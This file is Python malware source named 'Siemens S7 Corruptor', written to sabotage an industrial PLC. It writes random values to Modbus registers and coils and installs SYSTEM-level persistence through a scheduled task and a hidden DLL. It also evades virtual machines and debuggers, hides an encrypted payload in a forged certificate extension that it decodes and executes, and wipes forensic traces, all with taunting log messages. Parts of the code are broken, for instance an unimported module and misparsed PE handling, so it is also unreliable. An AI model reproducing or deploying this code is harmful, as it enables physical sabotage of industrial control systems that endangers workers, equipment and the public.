Siemens S7 Corruptor

from cryptography import x509
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from pymodbus.client import ModbusTcpClient
import secrets
import logging
import time
import random
import os
import tempfile
import lief
import ctypes
import subprocess
import base64
import ssl
import socket
import threading
import struct
from typing import Dict
import pydivert
import psutil
logging.basicConfig(filename='s7_corrupt.log', level=logging.INFO, format='%(message)s')
class SiemensS7Corruptor:
    def __init__(self):
        self.targets = {
            "s7-plc.siemens.local": {"ip": "192.168.1.100", "port": 102, "slot": 1}
        }
        self.aes_key = secrets.token_bytes(32)
        self.signature_hash = "e7f2a9b1"
        self.cert_file = os.path.join(os.getenv("APPDATA"), "s7_cert.pem")
        self.key_file = os.path.join(os.getenv("APPDATA"), "s7_key.pem")
        self.setup_persistence()
    def encrypt_payload(self, data: bytes) -> bytes:
        iv = secrets.token_bytes(16)
        cipher = Cipher(algorithms.AES(self.aes_key), modes.GCM(iv))
        encryptor = cipher.encryptor()
        ciphertext = encryptor.update(data) + encryptor.finalize()
        return iv + ciphertext + encryptor.tag
    def decrypt_payload(self, data: bytes) -> bytes:
        iv, tag, ciphertext = data[:16], data[-16:], data[16:-16]
        cipher = Cipher(algorithms.AES(self.aes_key), modes.GCM(iv, tag))
        decryptor = cipher.decryptor()
        return decryptor.update(ciphertext) + decryptor.finalize()
    def setup_persistence(self) -> None:
        ctypes.windll.kernel32.SetFileAttributesW(os.path.join(os.getenv("APPDATA"), "s7upd.dll"), 2)
        pe = lief.PE.parse(__file__)
        pe.add_section(lief.PE.Section(".s7corrupt", self.encrypt_payload(open(__file__, "rb").read())))
        with open(os.path.join(os.getenv("APPDATA"), "s7upd.dll"), "wb") as f:
            f.write(pe.write())
        subprocess.run(f"schtasks /create /tn S7Update /tr \"rundll32.exe {os.path.join(os.getenv('APPDATA'), 's7upd.dll')},Update\" /sc onstart /ru SYSTEM", shell=True, stdout=subprocess.DEVNULL)
    def anti_vm_check(self) -> bool:
        checks = [
            any(p.info['name'].lower() in ['vmware', 'vbox', 'qemu', 'virtualbox'] for p in psutil.process_iter(['name'])),
            psutil.virtual_memory().total < 4 * 1024 * 1024 * 1024,
            os.path.exists("C:\\Windows\\System32\\drivers\\VBoxMouse.sys"),
            ctypes.windll.kernel32.IsDebuggerPresent()
        ]
        return any(checks)
    def forge_cert_with_payload(self, domain: str) -> bool:
        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([
            x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, domain),
            x509.NameAttribute(x509.oid.NameOID.ORGANIZATION_NAME, "Siemens PLC"),
            x509.NameAttribute(x509.oid.NameOID.COUNTRY_NAME, "DE")
        ])
        corrupt_payload = self.encrypt_payload(b"""
import pymodbus.client
import random
client = pymodbus.client.ModbusTcpClient('192.168.1.100', port=102)
if client.connect():
    client.write_registers(address=1000, values=[random.randint(0, 0xFFFF) for _ in range(50)], unit=1)
    client.write_coils(address=0, values=[random.choice([True, False]) for _ in range(100)], unit=1)
    client.write_registers(address=2000, values=[0xDEAD, 0xBEEF], unit=1)
    client.close()
""")
        encoded_payload = base64.b64encode(corrupt_payload).decode()
        cert = (
            x509.CertificateBuilder()
            .subject_name(subject)
            .issuer_name(issuer)
            .public_key(key.public_key())
            .serial_number(x509.random_serial_number())
            .not_valid_before(datetime.datetime.utcnow() - datetime.timedelta(days=1))
            .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
            .add_extension(x509.SubjectAlternativeName([x509.DNSName(domain)]), critical=False)
            .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
            .add_extension(
                x509.UnrecognizedExtension(
                    x509.oid.ObjectIdentifier("1.3.6.1.5.5.7.3.99"),
                    encoded_payload.encode()
                ),
                critical=False
            )
            .sign(key, hashes.SHA256())
        )
        with open(self.cert_file, "wb") as f:
            f.write(cert.public_bytes(serialization.Encoding.PEM))
        with open(self.key_file, "wb") as f:
            f.write(key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.PKCS8,
                encryption_algorithm=serialization.BestAvailableEncryption(self.aes_key)
            ))
        return True
    def extract_and_execute_payload(self, cert_data: bytes) -> None:
        cert = x509.load_pem_x509_certificate(cert_data)
        for ext in cert.extensions:
            if ext.oid.dotted_string == "1.3.6.1.5.5.7.3.99":
                payload = base64.b64decode(ext.value)
                decrypted = self.decrypt_payload(payload)
                with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as tmp:
                    tmp.write(decrypted)
                    tmp_path = tmp.name
                subprocess.run(f"python {tmp_path}", shell=True, stdout=subprocess.DEVNULL)
                os.remove(tmp_path)
    def tls_trigger(self, target_ip: str, target_port: int) -> None:
        def handle_connection(client_socket, addr):
            try:
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
                context.load_cert_chain(self.cert_file, self.key_file)
                secure_socket = context.wrap_socket(client_socket, server_side=True)
                data = secure_socket.recv(1024)
                if b"HTTP/1.1" in data and b"200 OK" in data:
                    time.sleep(random.uniform(5, 15))
                    with open(self.cert_file, "rb") as f:
                        cert_data = f.read()
                    self.extract_and_execute_payload(cert_data)
                    secure_socket.send(b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n")
                secure_socket.close()
            except:
                pass
            finally:
                client_socket.close()
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind(("0.0.0.0", 443))
        server.listen(5)
        while True:
            client_socket, addr = server.accept()
            threading.Thread(target=handle_connection, args=(client_socket, addr)).start()
    def corrupt_control_arm(self, target_ip: str, target_port: int, slot: int) -> bool:
        try:
            client = ModbusTcpClient(target_ip, port=target_port)
            if not client.connect():
                return False
            corrupt_payload = [random.randint(0, 0xFFFF) for _ in range(50)]
            client.write_registers(address=1000, values=corrupt_payload, unit=slot)
            flip_coils = [random.choice([True, False]) for _ in range(100)]
            client.write_coils(address=0, values=flip_coils, unit=slot)
            client.write_registers(address=2000, values=[0xDEAD, 0xBEEF], unit=slot)
            client.close()
            taunt = f"🦂 Control arm corrupted at {target_ip}:{target_port}! | Hash: {self.signature_hash}"
            logging.info(taunt)
            print(f"🦂 Control arm corrupted at {target_ip}:{target_port}")
            return True
        except:
            print(f"🦂 Corruption failed at {target_ip}:{target_port}")
            return False
    def clean_traces(self) -> None:
        for f in ['s7_corrupt.log', os.path.join(os.getenv("APPDATA"), "s7upd.dll"), self.cert_file, self.key_file]:
            if os.path.exists(f):
                with open(f, "r+b") as file:
                    file.write(secrets.token_bytes(os.path.getsize(f)))
                os.remove(f)
        subprocess.run("del /F /Q *.log *.pem", shell=True, stdout=subprocess.DEVNULL)
        ctypes.windll.kernel32.SetFileTime(ctypes.c_int(-1), ctypes.byref(ctypes.c_uint32(0)), ctypes.byref(ctypes.c_uint32(0)), ctypes.byref(ctypes.c_uint32(0)))
        print("🦂 Forensic traces wiped")
    def run(self) -> None:
        if self.anti_vm_check():
            time.sleep(random.uniform(3600, 7200))
            return
        self.setup_persistence()
        for domain, info in self.targets.items():
            ip, port, slot = info["ip"], info["port"], info["slot"]
            print(f"\n🦂 Targeting {domain} ({ip}:{port})...")
            for attempt in range(3):
                try:
                    self.forge_cert_with_payload(domain)
                    threading.Thread(target=self.tls_trigger, args=(ip, port), daemon=True).start()
                    self.corrupt_control_arm(ip, port, slot)
                    self.clean_traces()
                    print(f"🦂 Attack on {domain} complete.")
                    break
                except:
                    print(f"🦂 Retry {attempt + 1} failed for {domain}")
                    time.sleep(random.uniform(5, 15))
if __name__ == "__main__":
    if not os.getenv("AUTH_TEST_ENV"):
        raise PermissionError("SiemensS7Corruptor requires explicit authorization for testing.")
    corruptor = SiemensS7Corruptor()
    corruptor.run()